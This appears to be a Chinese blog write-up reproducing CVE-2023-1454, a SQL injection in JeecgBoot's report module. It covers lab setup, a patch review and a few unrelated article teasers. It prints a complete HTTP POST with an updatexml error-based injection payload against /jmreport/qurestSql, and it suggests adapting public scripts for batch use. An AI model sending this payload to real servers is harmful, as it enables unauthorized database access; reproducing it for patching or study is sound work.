CVE-2023-1454注入分析复现

简介

JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。

影响版本

Jeecg-Boot<=3.5.1

环境搭建

idea+

后端源码:

https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip

前端源码:

https://github.com/jeecgboot/jeecgboot-vue3/archive/refs/tags/v3.5.0.zip

安装npm,安装nodejs

https://nodejs.org/dist/v18.16.1/node-v18.16.1-x64.msi

image-20230630100857383

image-20230630100954115

安装yarn

npm install -g yarn

image-20230630102534163

下载依赖

yarn install
yarn run serve  //起服务

image-20230630134805017

由于是前后端分离,需要数据库导入表,使用navicat直接导入即可

image-20230630134749348

后端服务端搭建,使用idea搭建导入项目,修改数据库配置

image-20230711102654282

配置server端npm服务

image-20230711102503802

配置好之后直接启动,访问

http://localhost:3100/login

image-20230711132237314

搭建成功

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞复现

前后端分离,后端端口8080 ,Payload:

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 128{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

image-20230711135427631

分析

漏洞产生点位于积木报表插件内,查看更新的3.5.1的版本更新

image-20230711132911295

更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法

jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则

image-20230711133319482

这个修复是针对于后端的SQL注入,/sys/duplicate/check

image-20230711135705607

目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包

image-20230711141329534

目前积木官方的jar包已升级。

关注积木5月份的升级日志

http://jimureport.com/doc/log

image-20230711141443739

小结

github上有师傅们的脚本,但是如果要批量使用的话建议在修改一下response的内容,仅仅只有操作失败的报错的话会存在大批量的报错。

image-20230711204157664

所有自定义的if判断的回显都建议修改一下,如有错误欢迎指出。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/26296.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Mybatis-plus-join做多表查询

使用Mybatis-plus-join做多表查询 我们做多表查询都是要自己写sql的&#xff0c;还是比较麻烦的&#xff0c;下面介绍一种不用自己写sql的方式来完成多表查询。 这个第三方工具是一个大佬封装的一个jar包&#xff0c;即mybatis-plus-join架包&#xff0c;这个架包可以支持MyB…

AWS MSK集群认证和加密传输的属性与配置

通常&#xff0c;身份认证和加密传输是两项不相关的安全配置&#xff0c;在Kafka/MSK上&#xff0c;身份认证和加密传输是有一些耦合关系的&#xff0c;重点是&#xff1a;对于MSK来说&#xff0c;当启用IAM, SASL/SCRAM以及TLS三种认证方式时&#xff0c;TLS加密传输是必须的&…

深入分析Spring的IoC容器:从底层源码探索

前言&#xff1a; 博主在最近的几次面试中&#xff0c;大中小厂都问到了Spring的ioc容器相关问题&#xff0c;这块知识确实是面试中的重点内容&#xff0c;因此结合所看的书籍&#xff0c;在这篇文章中总结下。该专栏比较适合刚入坑Java的小白以及准备秋招的大佬阅读&#xff0…

软件工程——第12章面向对象实现知识点整理

本专栏是博主个人笔记&#xff0c;主要目的是利用碎片化的时间来记忆软工知识点&#xff0c;特此声明&#xff01; 文章目录 1. 面向对象语言技术的特点&#xff1f; 2.选择面向对象程序设计语言时主要应该考虑哪些因素&#xff1f; 3.面向对象设计结果只能用面向对象语言实…

verilog实现led闪烁

文章目录 verilog实现led闪烁一、介绍二、代码三、仿真代码四、仿真结果五、总结 verilog实现led闪烁 一、介绍 使用verilog实现代码&#xff0c;实现led闪烁&#xff0c;每间隔200ms进行切换led灯 二、代码 module led (input wire clk,input wire rstn,output wire[3:0] …

【Spring Boot】Spring Boot的系统配置 — 实战:实现系统多环境配置

实战&#xff1a;实现系统多环境配置 在实际项目开发的过程中&#xff0c;需要面对不同的运行环境&#xff0c;比如开发环境、测试环境、生产环境等&#xff0c;每个运行环境的数据库、Redis服务器等配置都不相同&#xff0c;每次发布测试、更新生产都需要手动修改相关系统配置…

北邮国院物联网 Microprocessor 微处理器笔记

Introduction-随便聊 嵌入式系统是什么&#xff1f;专用的计算机系统。为专门功能可能对计算机架构&#xff0c;外设等做出一些取舍。 通常的限制&#xff1a;Cost&#xff08;比如大量部署传感器节点&#xff09;&#xff0c;Size and weight limits&#xff08;特定应用场景…

第 3 章 Spark 通讯架构

3.1 Spark 通信架构概述 3.1 Spark 通信架构概述 Spark 中通信框架的发展&#xff1a; ➢ Spark 早期版本中采用 Akka 作为内部通信部件。 ➢ Spark1.3 中引入 Netty 通信框架&#xff0c;为了解决 Shuffle 的大数据传输问题使用 ➢ Spark1.6 中 Akka 和 Netty 可以配置使用。…

使用HummerRisk进行K8s安全合规检测

1.简介 HummerRisk 是开源的云原生安全平台&#xff0c;以非侵入的方式解决云原生的安全和治理问题。核心能力包括混合云的安全治理和云原生安全检测。 今天我们来通过 HummerRisk 云原生安全检测能力来对Kubernetes进行安全合规检测 2.检测步骤 ①首先创建一个Kubernetes账…

浅谈无线温度监控系统在低功耗开关柜中的应用

安科瑞 华楠 摘要&#xff1a;为了能够实现实时监测高压开关柜的温度状况&#xff0c;提出一种基于无线传感器网络的开关柜温度在线监测系统。设计的无线温度在线监测系统不仅解决了开关柜内高温、高压、强电磁感应等在恶劣环境下不易检测的问题&#xff0c;而且从硬件选择和软…

【Linux】生产者消费者模型 -- RingQueue

文章目录 1. 生产者消费者模型的理解1.1 生产者消费者模型的概念1.2 生产者消费者模型的特点1.3 生产者消费者模型的优点 2. 基于BlockQueue的生产者消费者模型 1. 生产者消费者模型的理解 1.1 生产者消费者模型的概念 生产者消费者模型就是通过一个容器来解决生产者和消费者的…

机器学习31:《推荐系统-IV》深度神经网络DNN

在《机器学习29&#xff1a;《推荐系统-II》协同过滤》一文中&#xff0c;笔者介绍了如何使用矩阵分解来学习嵌入。矩阵分解具有一些局限性&#xff1a; 基础矩阵分解只用了 UserID&#xff08;QueryID&#xff09; 和 ItemID 两个维度的信息&#xff0c;所有学到的知识都蕴含在…